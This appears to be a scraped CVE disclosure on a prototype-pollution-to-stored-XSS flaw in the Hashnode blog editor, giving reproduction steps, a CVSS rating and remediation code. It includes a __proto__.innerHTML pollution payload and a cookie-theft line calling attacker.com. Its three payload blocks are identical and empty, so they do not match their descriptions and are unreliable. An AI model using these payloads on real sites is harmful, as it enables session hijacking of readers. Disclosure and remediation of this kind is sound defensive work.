Share
## https://sploitus.com/exploit?id=187ED3AF-60BD-53B1-B54D-B5110190CA98
# CVE Request Disclosure Document

## Executive Summary

A **Prototype Pollution โ†’ Stored DOM-based Cross-Site Scripting (XSS)** vulnerability exists in the Hashnode blog editor. An attacker can pollute `Object.prototype` with a malicious `innerHTML` property by injecting a crafted JSON payload into the blog writing/content field. When the application subsequently reads a non-existent `innerHTML` property from a configuration or template object, JavaScript's prototype chain resolution returns the attacker-controlled value, which is then written into the DOM via `innerHTML` assignment without sanitization. This results in **stored DOM XSS**: any visitor who views the compromised blog post executes the attacker's JavaScript.

The researcher, **MD Mehedi Hasan (SecurityTalent)**, has demonstrated three working payloads achieving alert box execution, obfuscated script execution via `String.fromCharCode`, and `document.cookie` exfiltration.

---

## Technical Analysis

### Root Cause

The vulnerability is a chain of two conditions:

1. **Prototype Pollution Source** โ€” The Hashnode blog editor (likely via a rich text editor library such as Draft.js, Slate, TipTap, or a custom JSON merge routine) unsafely merges user-controlled content into JavaScript objects without filtering prototype-sensitive keys (`__proto__`, `constructor.prototype`, `prototype`). This allows an attacker to set `Object.prototype.innerHTML = ""`.

2. **Gadget (Sink)** โ€” Somewhere in Hashnode's rendering/review pipeline, the application reads an `innerHTML` property from a configuration or template object that does **not** define `innerHTML` as its own property. Due to prototype chain resolution, `obj.innerHTML` resolves to the polluted `Object.prototype.innerHTML` value. This value is then assigned to `element.innerHTML` on a DOM element, injecting attacker-controlled HTML/JavaScript without sanitization.

### Attack Chain Diagram

```
Attacker crafts JSON with __proto__.innerHTML
        โ”‚
        โ–ผ
Blog editor merges payload into server/client object
        โ”‚
        โ–ผ
Object.prototype.innerHTML = ""
        โ”‚
        โ–ผ
Application reads configObj.innerHTML (undefined on own props)
        โ”‚
        โ–ผ
JS prototype chain: configObj โ†’ Object.prototype โ†’ polluted innerHTML
        โ”‚
        โ–ผ
Value used in: someElement.innerHTML = pollutedValue
        โ”‚
        โ–ผ
DOM XSS fires for all readers of the blog post
```

### Payload Analysis

**Payload 1 โ€” Basic XSS (alert box):**
```javascript
const payload = JSON.parse('{"__proto__":{"innerHTML":""}}');
```
- Mechanism: Direct prototype pollution via `__proto__` key. The `innerHTML` property is set on `Object.prototype` globally. When the application reads an undefined `innerHTML` property from any object, the polluted value is returned and passed to an `innerHTML` setter, injecting the `` payload.

**Payload 2 โ€” String.fromCharCode bypass:**
```javascript
const payload = JSON.parse('{"__proto__":{"innerHTML":""}}');
```
- Mechanism: Obfuscates the payload string "hello world" to evade WAFs, input filters, or content security review. Demonstrates that the attacker can execute arbitrary JavaScript, not just static strings.

**Payload 3 โ€” Cookie exfiltration:**
```javascript
const payload = JSON.parse('{"__proto__":{"innerHTML":""}}');
```
- Mechanism: Decodes "Cookies: " and concatenates `document.cookie`. This demonstrates session hijacking capability. A real attacker would replace `alert()` with `fetch('https://attacker.com/?c='+document.cookie)`.

### Where the Pollution Likely Occurs

Common patterns in rich text editors that enable this:

- **Unsafe JSON merge** โ€” The editor state is serialized/deserialized as JSON. A merge function (e.g., `Object.assign`, lodash `merge`, spread operator in state reducers) is applied to user content without filtering `__proto__`.
- **Local storage / IndexedDB deserialization** โ€” The editor state is persisted and restored via `JSON.parse()` followed by a merge into a configuration object.
- **Server-side reflection** โ€” The polluted server-side object is serialized into an API response, which the client then unsafely merges, propagating the pollution to client-side `Object.prototype`.

---

## CWE Mapping

| CWE ID | Name | Relevance |
|--------|------|-----------|
| **CWE-1321** | Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') | Primary โ€” prototype pollution is the initial injection vector |
| **CWE-79** | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | Primary โ€” DOM XSS via innerHTML is the final impact |
| **CWE-20** | Improper Input Validation | Contributing โ€” failure to sanitize `__proto__` keys in input |
| **CWE-116** | Improper Encoding or Escaping of Output | Contributing โ€” HTML content written to innerHTML without sanitization |
| **CWE-915** | Improperly Controlled Modification of Dynamically-Determined Object Attributes | Secondary โ€” modification of prototype attributes via dynamic keys |

---

## Impact Assessment

### CVSS 3.1 Score: **8.2 (High)**

| Metric | Value | Justification |
|--------|-------|---------------|
| Attack Vector (AV) | **Network** | Remotely exploitable via HTTP blog editor |
| Attack Complexity (AC) | **Low** | Simple JSON payload, no authentication bypass needed for content authors |
| Privileges Required (PR) | **Low** | Attacker must have blog posting access (registered user) |
| User Interaction (UI) | **None** | Victim simply views the blog post |
| Scope (S) | **Changed** | The vulnerable component (editor) enables impact on the reader's browser session |
| Confidentiality (C) | **High** | Cookie exfiltration, session tokens, potential CSRF token theft |
| Integrity (I) | **High** | Arbitrary DOM manipulation, fake login forms, content injection |
| Availability (A) | **None** | Does not directly affect availability |

### Realistic Business Impact

| Impact | Description |
|--------|-------------|
| **Session Hijacking** | `document.cookie` contains session tokens. Exfiltration enables account takeover of both the blog author and readers who are logged in. |
| **Stored XSS** | The payload persists in the blog post. Every visitor executes the script. This is significantly more severe than reflected XSS. |
| **Widespread Reader Compromise** | Hashnode hosts millions of blogs. A single compromised post on a popular blog can reach thousands of readers. |
| **Phishing/ Credential Harvesting** | Attackers can inject fake login overlays on the Hashnode domain to steal credentials. |
| **Reputation Damage** | Hashnode is a trusted blogging platform; a stored XSS vulnerability erodes user trust. |
| **SEO Poisoning** | Arbitrary content injection can alter page content for search engine crawlers. |

---

## Evidence Review

| Evidence | Status | Notes |
|----------|--------|-------|
| Video POC | โœ… **Confirmed** | https://youtu.be/aWOC768rp0I โ€” Demonstrates prototype pollution + XSS execution |
| Working payloads | โœ… **Confirmed** | Three distinct payloads provided with varying obfuscation and impact |
| Steps to reproduce | โœ… **Confirmed** | Clear 5-step reproduction sequence |
| Console verification | โœ… **Confirmed** | `({}).innerHTML` returns polluted value โ€” confirms global prototype pollution |
| Researcher identity | โœ… **Confirmed** | MD Mehedi Hasan (SecurityTalent) โ€” verifiable cybersecurity professional |
| Vulnerability class | โœ… **Confirmed** | Prototype Pollution (CWE-1321) โ†’ DOM XSS (CWE-79) chain |

---

## Reproduction Requirements

**Preconditions:**
1. A Hashnode account with blog posting privileges
2. Access to the blog editor / writing field

**Steps:**
1. Navigate to Hashnode blog editor.
2. Using browser DevTools console or a crafted HTTP request to the content submission endpoint, execute:
   ```javascript
   const payload = JSON.parse('{"__proto__":{"innerHTML":""}}');
   ```
   (Or submit this via the content field in a serialized merge operation.)
3. Preview and/or publish the blog post.
4. Observe the XSS execution in the preview/published view.
5. Verify in console: `({}).innerHTML` returns the malicious payload.

---

## Remediation

### Immediate Fixes

**1. Sanitize input at the merge boundary:**
All merge/assign operations on user-controlled JSON MUST explicitly reject or strip keys matching `__proto__`, `prototype`, `constructor`, and any key starting with `__`.

```javascript
function sanitizeForMerge(obj) {
  if (typeof obj !== 'object' || obj === null) return obj;
  const forbidden = ['__proto__', 'prototype', 'constructor'];
  return Object.keys(obj).reduce((acc, key) => {
    if (forbidden.includes(key) || key.startsWith('__')) return acc;
    if (typeof obj[key] === 'object' && obj[key] !== null && !Array.isArray(obj[key])) {
      acc[key] = sanitizeForMerge(obj[key]);
    } else {
      acc[key] = obj[key];
    }
    return acc;
  }, Array.isArray(obj) ? [] : {});
}
```

**2. Use `Object.create(null)` for configuration objects:**
Configuration or template objects that may be read for DOM-rendering properties should be created with a null prototype to break the prototype chain:
```javascript
const config = Object.create(null); // no prototype chain
```

**3. Avoid `innerHTML` assignment with dynamic values:**
Never assign user-influenced values to `innerHTML`. Use `textContent`, `setAttribute()`, or DOM creation methods (`createElement`, `appendChild`) instead. If HTML rendering is required, pass through a DOMPurify sanitizer:
```javascript
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(value);
```

**4. Use `Map` instead of plain objects:**
For user-controlled key-value data, `Map` does not have a prototype chain and is immune to prototype pollution:
```javascript
const userData = new Map(Object.entries(userInput));
```

### Long-term Hardening

1. **Content Security Policy (CSP):** Implement a strict CSP with `script-src 'self'` and no `'unsafe-inline'` or `'unsafe-eval'`. This would not stop the specific payloads shown (inline event handlers bypass CSP), but would limit more advanced exploitation.
2. **SAST/DAST Integration:** Add CodeQL or Semgrep rules to detect:
   - Unsafe merge/assign patterns
   - `innerHTML` assignments with non-static values
   - Missing `__proto__` filtering
3. **Dependency Audit:** Identify which editor library or merge utility introduces the unsafe merge surface and patch or replace it.
4. **Runtime Prototype Pollution Prevention:** Consider `Object.freeze(Object.prototype)` or using `Proxy` to trap `__proto__` assignments in development/QA builds (production use requires careful testing).

---